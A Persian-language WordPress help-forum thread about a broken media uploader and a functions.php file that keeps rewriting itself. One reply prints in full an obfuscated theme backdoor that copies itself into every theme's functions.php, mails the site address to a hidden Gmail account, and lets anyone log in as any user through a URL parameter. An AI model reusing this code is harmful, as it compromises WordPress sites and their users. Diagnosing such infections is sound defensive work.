• اطلاعیه ها

    • Saeed Fard

      برگزاری میتاپ وردپرسی   14/08/96

      بعد از اولین دوره همایش وردپرس در ایران اگر پیگیر اخبار وردپرس بوده باشید، حتما خبر برگزاری چندین میتاپ و جلسه متعدد وردپرسی را شنیده‌اید، یکی از بحث‌های اصلی که محور اصلی این میتاپ‌ها بوده است برگزاری وردکمپ بود که به طور جدی دنبال می‌شود. این میتاپ‌ها و جلسات توسط جمعی از فعلان حوزه وردپرس در کنار وردپرس‌پارسی برگزار می‌شد و مسائل مربوط به این حیطه و از جمله وردکمپ مورد بحث قرار می‌گرفت. این بار با رایزنی‌هایی که با تیم اصلی وردپرس داشتیم در بخش دوم این رویدادها قصد داریم که میتاپ‌ها و جلسات وردپرسی را به صورت آزاد برگزار کنیم تا تمامی علاقه‌مندان و دوست‌داران وردپرس فرصت حضور داشته باشند و با گردهمایی، جامعه کاملتری از دوست داران وردپرس بسازیم و از تجربیات یکدیگر استفاده کنیم.   بدیهی است که این رویدادها با رویکرد مثبت در جهت سود رسانی به جامعه وردپرس و افراد حاضر در آن برگزار می‌شود و برای تمامی علاقه‌مندان به وردپرس است. پس اگر یک کاربر معمولی وردپرس یا یک توسعه دهنده هستید می‌توانید در این رویدادها شرکت کنید. ما در ملاقات‌هایمان از موارد مختلف و کاربردی وردپرس صحبت می‌کنیم و علاقمند به توسعه هر چه بیشتر وردپرس در ایران هستیم. ما وردپرس را دوست داریم. عضویت در این گروه برای همه افرادی که مایل به پیوستن هستند بدون در نظرگرفتن توانایی‌ها، مهارت‌ها، وضعیت مالی و یا معیارهای دیگر باز و رایگان است. فضای میتاپ‌ها و جلسات ما دوستانه و آزادنه و دور از هرگونه تبعیض و رفتارهای زننده است. بر این اساس از تمامی دوستانی که علاقه‌مند به شرکت در میتاپ‌های وردپرس هستند دعوت می‌شود تا از طریق لینک زیر در سایت میتاپ اقدام به ثبت‌نام کنند و منتظر خبرهای برگزاری جلسات در آینده باشند . لینک ثبت نام و عضویت : https://www.meetup.com/Iran-WordPress-Meetup    
silver21

مشکل بخش آپلود Insert Media

16 پست در این موضوع قرار دارد

ارسال شده در (ویرایش شده)

تغییری در ساختار سایت ندادم ؛ یک ساعت پیش بدون مشکل یه مطلب ارسال کردم ولی حدود 10 دقیقه پیش زمان ارسال مطلب جدید بخش آپلود تصاویر از کار افتاده و اجازه آپلود نمیده. خبر منتشر میشه ولی آپلود کار نمیکنه و اخطار میده که مجددا سعی کنید.

1.

post-1826-0-28259500-1380539816_thumb.jp

2.

post-1826-0-41344500-1380539832_thumb.jp

حتی فایل آپلود رو تغییر دادم ولی مثل تصویر اخطار میده ؛ سطح دسترسی پوشه آپلود رو هم چک کردم 755 رو روی 777 گذاشتم ؛ نتیجه ای نداد.

ویرایش شده در توسط silver21
1

به اشتراک گذاری این پست


لینک به پست

یه چیزی فهمیدم ؛ آپلود انجام میشه منتهی نمایش داده نمیشه (موارد آپلودی در بخش رسانه وجود داره) ظاهرا در صفحه آپلود دیده نمیشه و چیز دیگه ای که فهمیدم ، داخل سایت یکسری ستاره امتیاز دهی وجود داره که با حرکت موس روشن میشد که اون هم از کار افتاده

1

به اشتراک گذاری این پست


لینک به پست

سلام

این مشکل ظاهرا توی نسخه جدید هست برای خودم هم دوبار پیش اومده

راه‌حلی هم که خودم استفاده کردم این بود که وردپرس رو به جزء فایل کانتنت دوباره روی فایل‌های قبلی بارگذاری کردم و مشکل حل شد ...

2

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

این مشکل ظاهرا مشکلی هست بی پاسخ؛ تایپیک قدیم منو ببینید که هم نسخه قبل و هم یکی قبلتر هم این مشکلو داشت

ویرایش شده در توسط silver21
1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

هر مرضی که داشت از فولدر wp-includes بود.

جواب:

دوستانی که بک آپ از سایت دارن کافی فولدر wp-includes رو پاک کنن و بک آپ رو جایگزین کنند.

دوستانی هم که بک آپ ندارن ، چون کم پیش میاد یا اصلا پیش نمیاد که تغییری تو فولدر wp-includes انجام بدن ، این پوشه رو پاک کنن و از نسخه اولیه فولدرشو بردارن و جایگزین کنن.

ویرایش شده در توسط silver21
1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

وقتی 24 ساعت میگذره مجددا این مشکل بوجود میاد ، دقیقتر بگم بعد از آزمون خطا گرفتن متوجه شدم مشکل از پوشه wp-includes و فایل functions.php هست ؛ تا الان 2روزه که این فایلو کپی میکنم ولی روز بعد دوباره مشکل پیدا می کنه و به حجمش هم اضافه میشه ، یکسری مقادیر جدید واردش میشه ! دیگه داره میره رو اعصابم.

ویرایش شده در توسط silver21
1

به اشتراک گذاری این پست


لینک به پست

ممنون از Silver21 عزیز بابت ایجاد و پیگیری تاپیک .

منم در سایتم به این مشکل برخوردم و در نت خیلی سرچ کردم که همشون گفته بودند آپدیت دستی انجام بدید که این کار را با جایگزین کردن تمام پوشه ها به جز کانفیگ و wp-content انجام دادم .

همانطوری که دوستمون اشاره کردند اول حل شد ولی بعد از 24 ساعت مجدد بر میگرده به حالت اول و همون خطا رو میده

واقعاً موندم چیکار کنم هرچی تاپیک بود تو نت خوندم و به نتیجه نرسیدم .

نتیجه اعتماد به وردپرس اینه ؟

1

به اشتراک گذاری این پست


لینک به پست

یه حدسایی به ذهن دارم ، منتهی باید هر بار 24 ساعت صبر کنم ببینم نتیجه میده یا نه که نتیجه داد اینجا قرار میدم ( مشکلات xml ) از چی بوده؛ دلیل اینکه مدیرا پاسخی نمیدنم ...

1

به اشتراک گذاری این پست


لینک به پست

دلیل اینکه مدیرا پاسخی نمیدنم ...

چون اصلا همچین خطایی رو ندیدیم که بخوایم برای رفعش راهنمایی کنیم.

ماشاله همه کانفیگ های سرورهای ایران هم که استاندارد خاصی پیروی میکنن و شبیه به هم هستن!

بنده به شخصه همچین مشکلی تا الان نداشتم

0

به اشتراک گذاری این پست


لینک به پست

مرتضی جان این مساله به کانفیگ سرور مربوط نیست که اگر هست شما بفرمایید از چه موردی هست تا من در سرور چک کنم . این مشکل از ضعف وردپرس هست .

1

به اشتراک گذاری این پست


لینک به پست

من با یکی از پوسته هایی که فارسی کرده بودم این مشکل رو داشتم منتها در لوکال هاست این مشکل وجود نداشت ولی در سرور و هاست آنلاین این مشکل وجود داشت

بعد از کلی کلنجار رفتن فهمیدم مشکل از توابع پوسته بوده و با اطلاح کردن فایل فانکشن مشکل رفع شد

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

2

به اشتراک گذاری این پست


لینک به پست

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

Function.php

0

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?>

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

ویرایش شده در توسط Morteza
0

به اشتراک گذاری این پست


لینک به پست

هر تابع اضافه ای که توی فانکشن وجود داره یا بعدا اتوماتیک اضافه میشه رو پاک کنید و دسترسی فایل فانکشن رو پایین بزارید تا دیگه قابل نوشتن نباشه.

1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

functions.php

ویرایش شده در توسط silver21
0

به اشتراک گذاری این پست


لینک به پست

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

احتمالا بدافزار روی سرور هست

اگر میتونید وردپرس رو حذف و بعد نصب دستی کنید (بکآپ فراموش نشه)

بعضا بخاطر کدهای وردپرس قدیمی باقی میمونن. معمولای توی نصب جدید از بین میرن.

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

شما هاست دیگه ای دارید که این مورد رو تست کنید؟

شاید روی هسات شما هم بدافزار باشه. این مورد روبررسی کردید؟

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری